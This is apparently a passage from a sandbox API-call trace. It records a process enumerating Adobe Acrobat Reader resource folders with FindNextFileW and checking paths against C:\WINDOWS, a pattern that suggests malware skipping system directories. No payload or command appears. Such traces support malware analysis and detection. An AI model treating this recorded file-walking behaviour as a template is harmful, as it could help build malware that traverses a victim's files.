	[0178.090] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0178.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.094] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08db299, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08db299, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a58b2c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0178.094] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0178.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.094] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08b505c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08b505c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08db299, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0
	[0178.094] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0178.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.094] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0178.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.094] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1
	[0178.094] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.094] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0178.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.095] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0178.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.095] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0178.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.095] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0178.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.095] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0178.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.096] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0178.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.096] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0178.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.096] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0178.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.096] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0178.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.096] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0178.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.097] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0178.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.097] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0178.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.097] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0178.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.097] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0178.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.098] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0178.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.098] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0178.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.098] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0178.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.098] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0178.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.098] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0aa4ec9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0aa4ec9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0178.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.100] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0178.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.100] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0178.100] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.100] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0178.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.101] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0178.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.102] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0178.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.102] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0af1395, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0af1395, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0af1395, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0178.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.102] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.102] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.103] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0acb139, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0acb139, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0acb139, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0178.103] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn") returned 144
	[0178.103] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn") returned 1
	[0178.103] lstrlenW (lpString="zh-cn") returned 5
	[0178.103] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1
	[0178.103] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0178.103] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\js\\nls\\zh-cn") returned 144
